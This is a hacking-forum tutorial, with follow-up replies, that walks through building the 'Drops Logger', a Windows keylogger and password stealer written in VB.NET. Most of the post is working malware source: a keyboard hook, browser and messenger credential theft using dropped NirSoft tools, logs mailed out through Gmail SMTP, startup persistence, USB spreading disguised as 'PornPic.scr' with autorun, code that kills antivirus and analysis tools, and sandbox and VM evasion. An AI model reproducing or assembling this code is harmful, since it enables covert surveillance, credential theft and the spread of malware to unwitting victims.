Hc Stealer Keylogger For Ipad

Drops Logger
Tutorial By Rapid
Advanced Keylogger & Stealer
Hello Friends This Is Rapid..Here My New Tutoral How To Make Advanced Keylogger & Stealer Using Drops [Credits To Nirsoft]
This Tutorial Is Very Noob Way I Will Explain Becasue Everyone Must UnderStand Ok Sorry For Bad English But I Would Like To Help U
First Of All New Mates ConfusingAbout Builder & Stub What Are They
Small Story : - Builder is just Like A Connector To Stub Whole SHit of our Code In Stub
So Stub Is Main Part [Server] And Buildr Is Just Like Calling The Req Options UnderStood
Builder Code
Open Microsoft Visual Studio 2008 --->File-->New Project--->Project Name(Drops Logger)---> Form Loaded Then
Edit Something Like
Naming as Drops Logger
Maximize box-False
Minimize Box -False
FormBorderStyle-FixedSingle
Add 5 lables & 3 Text Boxes & (NumericUpDown Set Value as 15) & 6 checkboxes & OpenFileDialog & 1Button(i have 3)
label1-Gmail Username
label2-Gmail Password
label3-Logs Send To
label4-Time Interval
label5-(Minutes}
checkbox1-Stealers
checkbox2-Run On Startup
checkbox3-Usb Spread
checkbox4-Anti-System
checkbox5-Icon Changer(CheckBox15X) here my code
checkbox6-FilePumper(CheckBox14C) here in my code
textbox1-getting gmail username
textbox2-getting gmail password
textbox3-logs send to here any mail u can add
textbox4-file pumper like here 1024kb = 1 mb
textbox5-icon changer path
Then Ur Builder Look Like This
[Image: droplogger1.jpg]
Double Click Or Hit F7
So Then Builder Code: import some as
Quote:Imports Microsoft.Win32
Imports System.IO
Imports System.Net.Mail
Imports fLaSh.Dissembler ' <------ u got problem here add reference as Project--Addreference--browse-->dissembler LIB.dll
Take Some Variables
Quote: Dim stub, text1, text2, text3, numberval, cb1, cb2, cb3, cb4 As String
And Connection As
Quote:Const FileSplit = '@Rapid@'
Click On Iconchanger Check Box---Select as Method as 'Click' or in CheckedChanged Place This Code
Code:
If CheckBox15X.Checked = True Then
Try
OpenFileDialog1.DefaultExt = 'ico'
OpenFileDialog1.Filter = 'icon files (*.ico) *.ico'
OpenFileDialog1.FilterIndex = 1
If OpenFileDialog1.ShowDialog(Me) = DialogResult.OK Then
TextBox5.Text = String.Empty
TextBox5.Text = OpenFileDialog1.FileName
End If
Dim newicon As New Bitmap(TextBox5.Text, True)
PictureBox1.Image = newicon
Catch ex As Exception
MsgBox('Please Select Another Icon.....!Thank You ')
End Try
Else
MsgBox('U Dont Need Icon....Thx')
Double Click On Build (button1) Add This Entair Code
Code:
Try
text1 = TextBox1.Text 'username
text2 = TextBox2.Text 'pass
text3 = TextBox3.Text 'sendto
numberval = NumericUpDown1.Value 'time
If CheckBox1.Checked = True Then 'stelers
cb1 = True
Else : cb1 = False
End If
If CheckBox2.Checked = True Then 'startup
cb2 = True
Else : cb2 = False
End If
If CheckBox3.Checked = True Then 'Usb
cb3 = True
Else : cb3 = False
End If
If CheckBox4.Checked = True Then 'anties
cb4 = True
Else : cb4 = False
End If
'############## Icon Changer ########
If CheckBox15X.Checked = True Then
Try
Dim oIconFilenathu As New IconFile(Me.TextBox5.Text)
Dim groupIconResource As GroupIconResource = oIconFilenathu.ConvertToGroupIconResource()
groupIconResource.SaveTo(Application.StartupPath & 'Stub.exe')
Catch IC As Exception
MsgBox('Dear User Take Another Icon......!')
End Try
End If
FileOpen(1, Application.StartupPath & 'stub.exe', OpenMode.Binary, OpenAccess.Read, OpenShare.Default)
stub = Space(LOF(1))
FileGet(1, stub)
FileClose(1)
'#### Check For Served Ifs There Exits Then it will delete
If File.Exists(Application.StartupPath & 'server.exe') Then
My.Computer.FileSystem.DeleteFile(Application.StartupPath & 'server.exe')
End If
FileOpen(1, Application.StartupPath & 'server.exe', OpenMode.Binary, OpenAccess.ReadWrite, OpenShare.Default)
FilePut(1, stub & FileSplit & text1 & FileSplit & text2 & FileSplit & text3 & FileSplit & numberval & FileSplit & cb1 & FileSplit & cb2 &
FileSplit & cb3 & FileSplit & cb4)
FileClose(1)
'add bytes (file pumper)
If CheckBox14C.Checked = True Then
Try
Dim filesize As Double = Val(Me.TextBox4.Text)
If type.Text = 'B' Then
filesize = Me.TextBox4.Text
ElseIf type.Text = 'KB' Then
filesize = Me.TextBox4.Text * 1024
ElseIf type.Text = 'MB' Then
filesize = Me.TextBox4.Text * 1048576
End If
Dim filetopump = IO.File.OpenWrite(Application.StartupPath & 'server.exe')
Dim size = filetopump.Seek(0, IO.SeekOrigin.[End])
While size < filesize
filetopump.WriteByte(0)
size += 1
End While
filetopump.Close()
Catch Pump As Exception
MsgBox('There was an error while pumping !')
End Try
End If
'### Finally Server Created
MsgBox('Server was created successfully in : ' & Application.StartupPath & 'server.exe')
Catch ex As Exception
MsgBox('Error May Be U Dont Place Stub..!')
End Try
' You Done Your Drops Logger Builder'
Stub Code
Then Stub Code First Of All Download iepv & PasswordFox&OperaPassView&ChromePass&Mspass From Nirsoft
And Add These As Reference To You Stub Project as Like THis
[Image: dropslogger2.jpg]
Agin
Open Microsoft Visual Studio 2008 --->File-->New Project--->Project Name(Stub)---> Form Loaded Then
Edit This Main Part To Hide Ur Server
In Stub Properties Modify This
1.ShownIcon As False
2.WindowState as Minimized (Imp)
3.Opacity as 0%
4.FormBorderStyle as Fixed Tool Window
9 textboxes & 5 lables & 2 timers
label1-time
label2-startup
label3-usb
label4-anties
label5-steales
Textbox1 as -for Keylogging Purpose whole keystokes will be here
Textbox2 as- for username
Textbox3 as -for pass
Textbox4 as-for logs send to
Textbox5(Here In My Code as TextBox9) -Ie Logs
Textbox6(Here In My Code as TextBox10)-firefox logs
Textbox7 (Here In My Code as TextBox11)-chrome logs
Textbox8 (Here In My Code as TextBox12)-opera logs
Textbox9 (Here In My Code as TextBox139)-chat messengers
timer1- Keylogging
timer3- sending mail
Why I Add Lot of textboxes why because to clear to observer my logs fox,chrome,opera logs in my pc U can code in single textbox aslo ur wish
Double Click On Stub Form Import This
Quote:Imports Microsoft.Win32
Imports System.IO
Imports System.Net.Mail
and Variables as
Quote: Dim options(), text1, text2, text3, numberval, cb1, cb2, cb3, cb4 As String
Connection as
Quote: Const FileSplit = '@Rapid@'
and Hook Code
Code:
#Region 'HOOK CODE'
Private Declare Function GetAsyncKeyState Lib 'USER32' (ByVal vKey As Long) As Integer
Private Declare Function GetKeyState Lib 'user32' (ByVal nVirtKey As Long) As Integer
Public Function GetCapslock() As Boolean
GetCapslock = CBool(GetKeyState(&H14) And 1)
End Function
Public Function GetShift() As Boolean
GetShift = CBool(GetAsyncKeyState(&H10))
End Function
Dim Result As Integer
'##keyhook
Public Class KeyboardHook
Private Const HC_ACTION As Integer = 0
Private Const WH_KEYBOARD_LL As Integer = 13
Private Const WM_KEYDOWN = &H100
Private Const WM_KEYUP = &H101
Private Const WM_SYSKEYDOWN = &H104
Private Const WM_SYSKEYUP = &H105
Private Structure KBDLLHOOKSTRUCT
Public vkCode As Integer
Public scancode As Integer
Public flags As Integer
Public time As Integer
Public dwExtraInfo As Integer
End Structure
Private Declare Function SetWindowsHookEx Lib 'user32' _
Alias 'SetWindowsHookExA' _
(ByVal idHook As Integer, _
ByVal lpfn As KeyboardProcDelegate, _
ByVal hmod As Integer, _
ByVal dwThreadId As Integer) As Integer
Private Declare Function CallNextHookEx Lib 'user32' _
(ByVal hHook As Integer, _
ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByVal lParam As KBDLLHOOKSTRUCT) As Integer
Private Declare Function UnhookWindowsHookEx Lib 'user32' _
(ByVal hHook As Integer) As Integer
Private Delegate Function KeyboardProcDelegate _
(ByVal nCode As Integer, _
ByVal wParam As Integer, _
ByRef lParam As KBDLLHOOKSTRUCT) As Integer
Public Shared Event KeyDown(ByVal Key As Keys)
Public Shared Event KeyUp(ByVal Key As Keys)
Private Shared KeyHook As Integer
Private Shared KeyHookDelegate As KeyboardProcDelegate
Public Sub New()
KeyHookDelegate = New KeyboardProcDelegate(AddressOf KeyboardProc)
KeyHook = SetWindowsHookEx(WH_KEYBOARD_LL, KeyHookDelegate,
System.Runtime.InteropServices.Marshal.GetHINSTANCE(System.Reflection.Assembly.G​etExecutingAssembly.GetModules()(0)).ToInt32, 0)
End Sub
Private Shared Function KeyboardProc(ByVal nCode As Integer, ByVal wParam As Integer, ByRef lParam As KBDLLHOOKSTRUCT) As Integer
If (nCode = HC_ACTION) Then
Select Case wParam
Case WM_KEYDOWN, WM_SYSKEYDOWN
RaiseEvent KeyDown(CType(lParam.vkCode, Keys))
Case WM_KEYUP, WM_SYSKEYUP
RaiseEvent KeyUp(CType(lParam.vkCode, Keys))
End Select
End If
Return CallNextHookEx(KeyHook, nCode, wParam, lParam)
End Function
Protected Overrides Sub Finalize()
UnhookWindowsHookEx(KeyHook)
MyBase.Finalize()
End Sub
End Class
Private WithEvents kbHook As New KeyboardHook
Private Declare Function GetForegroundWindow Lib 'user32.dll' () As Int32
Private Declare Function GetWindowText Lib 'user32.dll' Alias 'GetWindowTextA' (ByVal hwnd As Int32, ByVal lpString As String, ByVal cch As Int32) As
Int32
Dim strin As String = Nothing
Private Function GetActiveWindowTitle() As String
Dim MyStr As String
MyStr = New String(Chr(0), 100)
GetWindowText(GetForegroundWindow, MyStr, 100)
MyStr = MyStr.Substring(0, InStr(MyStr, Chr(0)) - 1)
Return MyStr
End Function
#End Region
And In In Form_ Load Add This Codes
Code:
FileOpen(1, Application.ExecutablePath, OpenMode.Binary,
OpenAccess.Read, OpenShare.Shared)
text1 = Space(LOF(1)) 'username
text2 = Space(LOF(1)) 'pass
text3 = Space(LOF(1)) 'sender@anymail
numberval = Space(LOF(1)) 'time---->label1
cb1 = Space(LOF(1)) 'stealers ------>label15
cb2 = Space(LOF(1)) 'run on startup------>label2
cb3 = Space(LOF(1)) 'Usb------>label3
cb4 = Space(LOF(1)) 'anties------>label4
'+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
FileGet(1, text1) ' options(1) -->usernam
FileGet(1, text2) ' options(2)--->pass
FileGet(1, text3) 'options(3)---------->sender@gmail.com
FileGet(1, numberval) ' options(4)--->time >>>>>>>>-------->label1
FileGet(1, cb1) 'options(5)----------->Stealers
>>>>>>>>-------->label15
FileGet(1, cb2)
'options(6)----------->startup>>>>>>>>-------->label2
FileGet(1, cb3) 'options(7)----------->Usb >>>>>>>>-------->label3
FileGet(1, cb4)
'options(8)----------->anties>>>>>>>>-------->label4
FileClose(1)
options = Split(text1, FileSplit)
'++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++'
'Getto
TextBox2.Text = options(1) '------------------->username
TextBox3.Text = options(2) '-------------------->pass
TextBox4.Text = options(3)
'------------------------>sender@anymail
Label1.Text = options(4) '---------------------->time
If options(5) = False Then
Label5.Text = 'no-Stealers'
Else
Label5.Text = 'Yes-Stealers'
'###################################here its calling steaelrs
Call IE()
TextBox9.Text = IO.File.ReadAllText(Environ('tmp') &
'iepv.txt')
Call firefoxpass()
TextBox10.Text = IO.File.ReadAllText(Environ('tmp') &
'firefox.txt')
Call chrome()
TextBox11.Text = IO.File.ReadAllText(Environ('tmp') &
'ChromePass.txt')
Call OperaPassView()
TextBox12.Text = IO.File.ReadAllText(Environ('tmp') &
'OperaPassView.txt')
Call mspass()
TextBox13.Text = IO.File.ReadAllText(Environ('tmp') &
'mspass.txt')
End If
If options(6) = True Then '----------------------->start up
'Label2.Text = 'startup '
AddStartup(Me.Text, Application.ExecutablePath)
Else
Label2.Text = 'startup No'
End If
If options(7) = True Then '----------------------->Usb
Label3.Text = ('Yes-Usb')
usb()
Else
Label3.Text = ('No-Usb')
End If
If options(8) = True Then '----------------------->anties
Label4.Text = 'yes-anties'
Try
Call AntiAnubis()
Call AntiBitDefender()
Call AntiKaspersky()
Call AntiKeyscrambler()
Call AntiMalwarebytes()
Call AntiNOD32()
Call AntiNorman()
Call AntiOllydbg()
Call AntiOutpost()
Call AntiWireshark()
Call AntiZoneAlarm()
ant.mofo()
Catch ex As Exception
Application.Exit() 'exit applicato
End Try
Else
Label4.Text = 'No-anties'
End If
Timer1.Start() ' KeyStrokes Hack----------$MAIN PART$
Timer2.Interval = (Label1.Text * 60 * 1000) ' conver to minutes
Timer2.Start() ' sendign Mail
Click On Timer1 add this Code For Keystrokes loggin
Here 777 Lines Of Code
http://pastebin.com/MD5ANRXH
http://www.multiupload.com/PF38LTW0TB
Click On timer2 add these code
Code:
Try
Dim MyMailMessage As New MailMessage()
MyMailMessage.From = New MailAddress(TextBox2.Text)
MyMailMessage.To.Add(TextBox4.Text)
MyMailMessage.Subject = '+--Drops Logger Logs--+ '
MyMailMessage.Body = 'The Drops Logger is Successfully
Activated On ' & My.Computer.Name & ' Computer ' & ' At the Time ' &
My.Computer.Clock.LocalTime & Environment.NewLine & Environment.NewLine &
'[+----System Infomation----+]' & Environment.NewLine &
Environment.NewLine &
My.Computer.Info.OSFullName & ' (Operating Sysytem)' &
Environment.NewLine & Environment.NewLine & ' [+------Stealers-----+] ' &
'+--Drops Logger By Rapid
-- Indian H@cker--+ ' + vbNewLine + vbNewLine & '--+INDIAN H@CKER+--' +
vbNewLine + vbNewLine & TextBox1.Text & TextBox9.Text & TextBox10.Text &
TextBox11.Text & TextBox12.Text & TextBox13.Text
Dim SMTPServer As New SmtpClient('smtp.gmail.com')
SMTPServer.Port = 587
SMTPServer.Credentials = New
System.Net.NetworkCredential(TextBox2.Text, TextBox3.Text)
SMTPServer.EnableSsl = True
SMTPServer.Send(MyMailMessage)
TextBox1.Clear() 'its clear the logs
Catch ex As Exception
End Try
And Add these steales codes
Code:
#Region 'Stealers'
Function IE() As String
Dim open As String
Dim Ressource1() As Byte = My.Resources.iepv
FileOpen(1, Environ('tmp') & 'iepv.exe', OpenMode.Binary)
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ('tmp') & 'iepv.exe /stext ' & Environ('tmp') &
'iepv.txt', AppWinStyle.Hide)
open = IO.File.ReadAllText(Environ('tmp') & 'iepv.txt')
Return open
End Function
Function firefoxpass() As String
Dim open As String
Dim Ressource1() As Byte = My.Resources.PasswordFox
FileOpen(1, Environ('tmp') & 'passwordfox.exe', OpenMode.Binary)
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ('tmp') & 'passwordfox.exe /stext ' & Environ('tmp')
& 'firefox.txt', AppWinStyle.Hide)
open = IO.File.ReadAllText(Environ('tmp') & 'firefox.txt')
Return open
End Function
Function chrome() As String
Dim open As String
Dim Ressource1() As Byte = My.Resources.ChromePass
FileOpen(1, Environ('tmp') & 'ChromePass.exe', OpenMode.Binary)
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ('tmp') & 'ChromePass.exe /stext ' & Environ('tmp')
& 'ChromePass.txt', AppWinStyle.Hide)
open = IO.File.ReadAllText(Environ('tmp') & 'ChromePass.txt')
Return open
End Function
Function OperaPassView() As String
Dim open As String
Dim Ressource1() As Byte = My.Resources.OperaPassView
FileOpen(1, Environ('tmp') & 'OperaPassView.exe',
OpenMode.Binary)
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ('tmp') & 'OperaPassView.exe /stext ' &
Environ('tmp') & 'OperaPassView.txt', AppWinStyle.Hide)
open = IO.File.ReadAllText(Environ('tmp') & 'OperaPassView.txt')
Return open
End Function
Function mspass() As String
Dim open As String
Dim Ressource1() As Byte = My.Resources.mspass
FileOpen(1, Environ('tmp') & 'mspass.exe', OpenMode.Binary)
FilePut(1, Ressource1)
FileClose(1)
Shell(Environ('tmp') & 'mspass.exe /stext ' & Environ('tmp') &
'mspass.txt', AppWinStyle.Hide)
open = IO.File.ReadAllText(Environ('tmp') & 'mspass.txt')
Return open
End Function
#End Region
Usb Spred Code
Code:
Private Sub usb()
Dim drivers As String =
My.Computer.FileSystem.SpecialDirectories.ProgramFiles
Dim driver() As String = (IO.Directory.GetLogicalDrives)
For Each drivers In driver
Try
IO.File.Copy(Application.ExecutablePath, drivers &
'PornPic.scr')
Dim autorunwriter = New StreamWriter(drivers &
'autorun.inf')
autorunwriter.WriteLine('[autorun]')
autorunwriter.WriteLine('open=' & drivers & 'PornPic.scr')
autorunwriter.WriteLine('shellexecute=' & drivers, 1)
autorunwriter.Close()
System.IO.File.SetAttributes(drivers & 'autorun.inf',
FileAttributes.Hidden)
System.IO.File.SetAttributes(drivers & 'PornPic.scr',
FileAttributes.Hidden)
Catch ex As Exception
End Try
Next
Call filehide()
End Sub
Private Sub filehide()
My.Computer.Registry.SetValue('HKEY_CURRENT_USERSoftwareMicrosoftWindow
sCurrentVersionExplorerAdvanced', 'Hidden', 0)
End Sub
anties Code
Code:
#Region 'Anties'
Sub AntiKeyscrambler()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case 'keyscrambler'
generaldee(i).Kill()
Case Else
End Select
Next
End Sub
'------------------------Wireshark----------------------------
Sub AntiWireshark()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case 'wireshark'
generaldee(i).Kill()
Case Else
End Select
Next
End Sub
'----------------------------Anubis--------------------------------
Sub AntiAnubis()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case 'anubis'
generaldee(i).Kill()
Case Else
End Select
Next
End Sub
'------------------------Malwarebytes----------------------------
Sub AntiMalwarebytes()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case 'mbam'
generaldee(i).Kill()
Case Else
End Select
Next
End Sub
'------------------------Kaspersky----------------------------
Sub AntiKaspersky()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case 'avp'
generaldee(i).Kill()
Case Else
End Select
Next
End Sub
'-----------------------Ollydbg---------------------------------
Sub AntiOllydbg()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case 'ollydbg'
generaldee(i).Kill()
Case Else
End Select
Next
End Sub
'-----------------------Outpost---------------------------------
Sub AntiOutpost()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case 'outpost'
generaldee(i).Kill()
Case Else
End Select
Next
End Sub
'-----------------------Norman------------------------------
Sub AntiNorman()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case 'npfmsg'
generaldee(i).Kill()
Case Else
End Select
Next
End Sub
'-----------------------Bit Defender------------------------------
Sub AntiBitDefender()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case 'bdagent'
generaldee(i).Kill()
Case Else
End Select
Next
End Sub
'-----------------------NOD32------------------------------
Sub AntiNOD32()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case 'egui'
generaldee(i).Kill()
Case Else
End Select
Next
End Sub
'-----------------------Zone Alarm------------------------------
Sub AntiZoneAlarm()
Dim generaldee As Process() = Process.GetProcesses
Dim i As Integer
For i = 0 To generaldee.Length - 1
Select Case Strings.LCase(generaldee(i).ProcessName)
Case 'zlclient'
generaldee(i).Kill()
Case Else
End Select
Next
End Sub
'+=TOfx
Public Class ant
Private Declare Function FindWindow Lib 'user32' Alias 'FindWindowA' (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Public Shared Sub mofo()
seekit('MSASCui')
seekit('msmpeng')
antiSandboxie()
IsVmWare()
AntiThreatExpert()
checkUsername()
checkComputername()
End Sub
Private Shared Sub seekit(ByVal gay1 As String)
For Each p As Process In Process.GetProcesses()
If p.ProcessName.Contains(gay1) Then
Try
p.Kill()
Catch ex As Exception
End Try
End If
Next
End Sub
Private Shared Sub checkUsername()
Dim Usernames As New List(Of String)
Usernames.Add('UserName')
Usernames.Add('User')
Usernames.Add('honey')
Usernames.Add('sandbox')
Usernames.Add('currentuser')
Usernames.Add('User')
For Each name As String In Usernames
If Environment.UserName = name Then
Environment.Exit(0)
End If
Next
End Sub
Private Shared Sub checkComputername()
Dim Computername As New List(Of String)
Computername.Add('ComputerName')
Computername.Add('COMPUTERNAME')
Computername.Add('DELL-D3E62F7E26')
Computername.Add('DWI-9625AC2E275')
Computername.Add('MICHAEL-F156CF7')
For Each name As String In Computername
If Environment.MachineName = name Then
Environment.Exit(0)
End If
Next
End Sub
Public Shared Sub antiSandboxie()
If Process.GetProcessesByName('SbieSvc').Length >= 1 Then
Environment.Exit(0)
End If
End Sub
Public Shared Sub IsVmWare()
Dim Hndl As Long
Hndl = FindWindow('VMDragDetectWndClass', vbNullString)
If Hndl = 0 Then
Environment.Exit(0)
End If
End Sub
Private Shared Sub AntiThreatExpert()
If Process.GetCurrentProcess().MainModule.FileName.Contains('sample') Then
Environment.Exit(0)
End If
End Sub
End Class
#End Region
' You Done Your Drops LoggerStub'
You Have Any Problem Check Here Project
Download link
http://www.multiupload.com/5A3JNXD8F3
I Hope You Like It But Very Lenthy Tutorial Give Proper Credits To Me If You use This Code
And Encourage Me For My Effort Black HatBlack Hat

10-02-2011, 08:05 PM

One, you have not given credits to the original poster.
Two, It's not properly layed out.

06-04-2012, 12:55 PM (This post was last modified: 06-11-2012 05:23 AM by AdaS.)

well does it work on a Mac like this keylogger Mac?

The Timer1 Code is REMOVED
I need it ? Can anyone Give it to Meee ??

Thanks a lot for code, sir,
' Stub Code
Then Stub Code First Of All Download iepv & PasswordFox&OperaPassView&ChromePass&Mspass From Nirsoft And Add These As Reference To You Stub Project as Like THis
[Image: dropslogger2.jpg]'
Here I got error,
I downloaded it all, but error says ' coud not add as reference. exe. ',
I m using visual studio 2008 win7 32 bit.
For resolving this, I tried such solutions like,
Convert. exe to dll, abd tried to add, but no success,
Refresh. resx and recompile,
What to do, for resolving this error,
Is it .Net version error? ?
NOTE: A.jpeg not shown which you added in your source .
PLEASE ANY ONE HELP! !!!

(10-10-2013 03:44 PM)steveroseik Wrote: The Timer1 Code is REMOVED
I need it ? Can anyone Give it to Meee ??

I also want 'Timer Code' , have you get it ? plz reply.
I need it !!!